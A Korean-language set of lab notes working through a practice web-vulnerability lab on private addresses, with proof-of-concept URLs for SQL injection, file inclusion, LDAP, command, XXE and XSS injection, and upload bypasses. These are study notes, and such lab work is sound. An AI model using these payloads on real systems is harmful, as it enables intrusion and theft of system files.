SQL Injection
Example 1 (STRING TYPE-MAKE IT TRUE)
http://192.168.30.129/sqli/example1.php?name=root
PoC
http://192.168.30.129/sqli/example1.php?name=root' or '1'='1
http://192.168.30.129/sqli/example1.php?name=root' or 1=1-- -
http://192.168.30.129/sqli/example1.php?name=root' or 1=1%23
주석 필터링 우회
%23 : #
MySQL 주석
1. #
2. -- (뒤에 공백이 있어야 주석으로 동작함)
3. /**/
Example 2 (ERROR NO SPACE-MAKE IT TRUE)
http://192.168.30.129/sqli/example2.php?name=root
PoC
http://192.168.30.129/sqli/example2.php?name=root'%0aor%0a'1'='1
http://192.168.30.129/sqli/example2.php?name=root'%09or%09'1'='1
공백 필터링 우회
%09 : Tab
%0a : Line Feed
Example 3 (ERROR NO SPACE-MAKE IT TRUE)
http://192.168.30.129/sqli/example3.php?name=root
PoC
http://192.168.30.129/sqli/example3.php?name=root'/**/or/**/'1'='1
공백 필터링 우회
/**/ : 컴파일시 공백으로 바뀜
http://192.168.30.129/sqli/example4.php?id=2
PoC
http://192.168.30.129/sqli/example4.php?id=2 or 1=1
http://192.168.30.129/sqli/example4.php?id=2 or '1'='1' (mysql_real_escape_string함수 사용)
mysql_real_escape_string()
\x00 , \n , \r , \, ', ", \ x1a 문자 앞에 이스케이프(백 슬래시)를 추가하는 함수임
Example 5,6 (INTEGER TYPE-MAKE IT TRUE)
http://192.168.30.129/sqli/example5.php?id=2
PoC
http://192.168.30.129/sqli/example5.php?id=2 or 1=1
http://192.168.30.129/sqli/example5.php?id=2 or '1'='1'
Example 7 (ERROR INTEGER REQUIRED-MAKE IT TRUE)
http://192.168.30.129/sqli/example7.php?id=2
PoC
http://192.168.30.129/sqli/example7.php?id=2%0a or 1=1
http://192.168.30.129/sqli/example7.php?id=2%0a or '1'='1'
http://192.168.30.129/sqli/example7.php?id=2 or %0a1=%0a1
http://192.168.30.129/sqli/example7.php?id=2 or 1=%0a1
%0a
행을 나누는 기준이 됨
정규식 필터링 우회
숫자형인지 여부를 정규식으로 검사할때 Multi Line(m) 플래그를 사용하면 한 행에만 숫자가 포함되어있는지 확인하기 때문에 우회가 가능함
Example 8 (SORT)
http://192.168.30.129/sqli/example8.php?order=name
PoC
http://192.168.30.129/sqli/example8.php?order=name` DESC -- -
ORDER BY 구문
order by 구문은 컬렴명만 지정해주거나 `로 컬럼명을 묶어쓰는 2가지 방법으로 사용함
http://192.168.30.129/sqli/example9.php?order=name
PoC
http://192.168.30.129/sqli/example9.php?order=IF(1,name,age)
IF 문
if (조건문, 참일때 반환 값, 거짓일때 반환 값)
의문
order=age와 order=IF(1,age,name) 둘 다 결과는 age인데 왜 아래와 같이 정렬되는 기준이 다를까?
http://www.contrib.andrew.cmu.edu/~shadow/sql/sql1992.txt
해결
문자열이 반환되었기 때문에 int형으로 캐스팅해주면 됨
File Include
Example 1 (OPEN /etc/passwd)
http://192.168.30.131/fileincl/example1.php?page=intro.php
poc
http://192.168.30.131/fileincl/example1.php?page=../../../../etc/passwd
Example 2 (OPEN /etc/passwd)
http://192.168.30.131/fileincl/example2.php?page=intro
Hint
poc
http://192.168.30.131/fileincl/example2.php?page=../../../../etc/passwd%00
널 바이트 인젝션
널 바이트(%00)는 C언어에서 문자열의 끝을 나타냄. 이를 이용하여 특정 확장자를 숨길 수 있음
LDAP attack
LDAP(Lightweight Directory Access Protocol)
디렉터리 데이터베이스에 접속하기 위한 통신규약
디렉터리 정보 등록, 갱신, 삭제, 검색 실행 가능함
네트워크 상의 파일이나 장치들과 같은 자원들의 위치를 찾을 수 있게 해주는 프로토콜임
통신망을 이용한 이용자 메일 주소나 이용자의 정보를 검색하는데 주로 사용됨
사용자 -- LDAP Server -- DataBase
Example 1 (AUTHENTICATE)
http://192.168.30.131/ldap/example1.php?username=hacker&password=hacker
poc
http://192.168.30.131/ldap/example1.php
Null bind authentication
아이디와 비밀번호를 NULL로 전송시 Anonymous bind로 인식함
Example 2 (AUTHENTICATE)
http://192.168.30.131/ldap/example2.php?name=hacker&password=hacker
poc
http://192.168.30.131/ldap/example2.php?name=hacker)(cn=*))%00&password=aaaa
code
$pass = "{MD5}" . base64_encode ( pack ( "H*" , md5 ( $_GET [ 'password' ])));
$filter = "(&(cn=" . $_GET [ 'name' ] . ")(userPassword=" . $pass . "))" ;
Normal result
1. $filter = "(&(cn=hacker)(userPassword=hacker))" ;
Injection result
$filter = "(&(cn=hacker)(cn=*))%00)(userPassword=aaaa))" ;
=> $filter = "(&(cn=hacker)(cn=*))" ;
Commands injection
Example 1 (RUN THE COMMAND)
http://192.168.30.131/commandexec/example1.php?ip=127.0.0.1
poc
http://192.168.30.131/commandexec/example1.php?ip=127.0.0.1 | cat /etc/passwd
http://192.168.30.131/commandexec/example1.php?ip=127.0.0.1;cat /etc/passwd
http://192.168.30.131/commandexec/example1.php?ip=127.0.0.1 %26%26 cat /etc/passwd
http://192.168.30.131/commandexec/example1.php?ip=127.0.0.1%0acat /etc/passwd
& 필터링 우회
%26 : &
%0a (Line Feed)
다음줄에 명령어가 들어가도록 하여 수행시킬 수 있음
Example 2 (RUN THE COMMAND)
http://192.168.30.131/commandexec/example2.php?ip=127.0.0.1
Hint
poc
http://192.168.30.131/commandexec/example2.php?ip=127.0.0.1%0acat /etc/passwd
( 엄밀히 따지면 Example 1과는 다르게 정규식 우회 용도로 사용)
Example 3 (RUN THE COMMAND)
http://192.168.30.131/commandexec/example3.php?ip=127.0.0.1
poc
nc(Linux) : echo -e "GET /commandexec/example3.php?ip=127.0.0.1;cat%09/etc/passwd" | nc 192.168.30.131 80
소스코드에서 브라우저가 리디렉션 되어도 실행 흐름을 중지시키지 않기 때문에 첫 번재 응답 페이지를 읽기 위해 nc, telnet같은 프로그램을 이용함
XML attack
Example 1 (XXE Injection-LFI)
http://192.168.30.131/xml/example1.php?xml=<test>hacker</test>
Hint
poc
http://192.168.128.136/xml/example1.php?xml=%3C%21DOCTYPE%20test%20%5B%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2f%2f%2fetc%2fpasswd%22%3E%5D%3E%3Ctest%3E%26xxe%3B%3C%2ftest%3E
URL Decode : http://192.168.30.131/xml/example1.php?xml=<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><test>&xxe;</test>
code
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);
Example 2 (Xpath Injection)
http://192.168.30.131/xml/example2.php?name=hacker
poc
XSS
Example 1 (Reflected XSS)
http://192.168.30.131/xss/example1.php?name=hacker
poc
http://192.168.30.131/xss/example1.php?name=<script>alert('test');</script>
Example 2 (preg_replace()-Reflected XSS)
http://192.168.30.131/xss/example2.php?name=hacker
Hint
poc
http://192.168.30.131/xss/example2.php?name=<scr<script>ipt>alert("test")</scr</script>ipt>
Example 3 (preg_replace()-Reflected XSS)
http://192.168.30.131/xss/example3.php?name=hacker
poc
http://192.168.30.131/xss/example3.php?name=<scr<script>ipt>alert("test")</scr</script>ipt>
code
$name = $_GET["name"];
$name = preg_replace("/<script>/i","", $name);
$name = preg_replace("/<\/script>/i","", $name);
i (Ignore Case) 플래그
문자열의 대소문자를 구별하지 않음
Example 4 (div,img-Reflected XSS)
http://192.168.30.131/xss/example4.php?name=hacker
Hint
poc
특정 패턴에 매칭되면 1, 실패하면 0이 반환되는 함수
Example 5 (eval,confirm-Reflected XSS)
http://192.168.30.131/xss/example5.php?name=hacker
Hint
poc
http://192.168.30.131/xss/example5.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 116, 101, 115, 116, 39, 41))</script>
http://192.168.30.131/xss/example5.php?name=<script>confirm('test')</script>
eval()
문자열을 자바스크립트 코드로 인식하게 하는 함수임
String.fromCharCode()
아스키코드를 받아 문자열을 구성해주는 함수임
confirm()
참인지 거짓인지를 구분하는 메시지를 출력하는 함수임
확인을 누르면 true를 반환, 취소를 누르면 false를 반환함
Example 6 (Reflected XSS)
http://192.168.30.131/xss/example6.php?name=hacker
poc
Example 7 (Reflected XSS)
http://192.168.30.131/xss/example7.php?name=hacker
poc
html 엔터티로 문자열을 바꿔줌
싱글쿼터는 바꾸지 않음
Example 8 (Reflected XSS)
http://192.168.30.131/xss/example8.php
poc
Example 9 (hash(#)-DOM XSS)
http://192.168.30.131/xss/example9.php#hacker
poc
http://192.168.30.131/xss/example9.php#<script>alert('test')</script>
code
<script>
document.write(location.hash.substring(1));
</script>
URL에 있는 #의미
URL에서 #뒤에 있는 문자열을 Client Side(자바스크립트)로 가져옴
localhost/test.php#hello 라면 #hello가 반환됨
substring(start index, end index)
start index부터 end index까지 문자열을 잘라 반환함
Code injection
Example 1
http://192.168.30.131/codeexec/example1.php?name=hacker
Hint
poc
의문
a가 왜 두번 출력될까?
Example 2
http://192.168.30.131/codeexec/example2.php?order=id
poc
Example 3
http://192.168.30.131/codeexec/example3.php?new=hacker&pattern=/lamer/&base=Hello%20lamer
poc
Example 4
http://192.168.30.131/codeexec/example4.php?name=hacker
poc
File Upload
Example 1
poc
Step 1) test.php 파일을 생성함
Step 2) test.php 파일을 업로드함
Step 3) 업로드된 경로가 출력됨
Step 4) 업로드된 test.php파일을 실행함
Example 2
Hint
poc
Step 1) test.php 파일을 생성함
Step 2) 확장자를 대문자(PHP)로 변경하여 업로드함 / 확장자를 php3로 변경하여 업로드함
Step 3) 업로드된 경로가 출력됨
Step 4) 업로드된 test.php파일을 실행함
Directory traversal
Example 1
http://192.168.30.131/dirtrav/example1.php?file=hacker.png
poc
http://192.168.30.131/dirtrav/example1.php?file=../../../etc/passwd
Example 2
http://192.168.30.131/dirtrav/example2.php?file=/var/www/files/hacker.png
poc
Example 3
http://192.168.30.131/dirtrav/example3.php?file=hacker
poc
[참고]
: 의문점
: 모르는 문제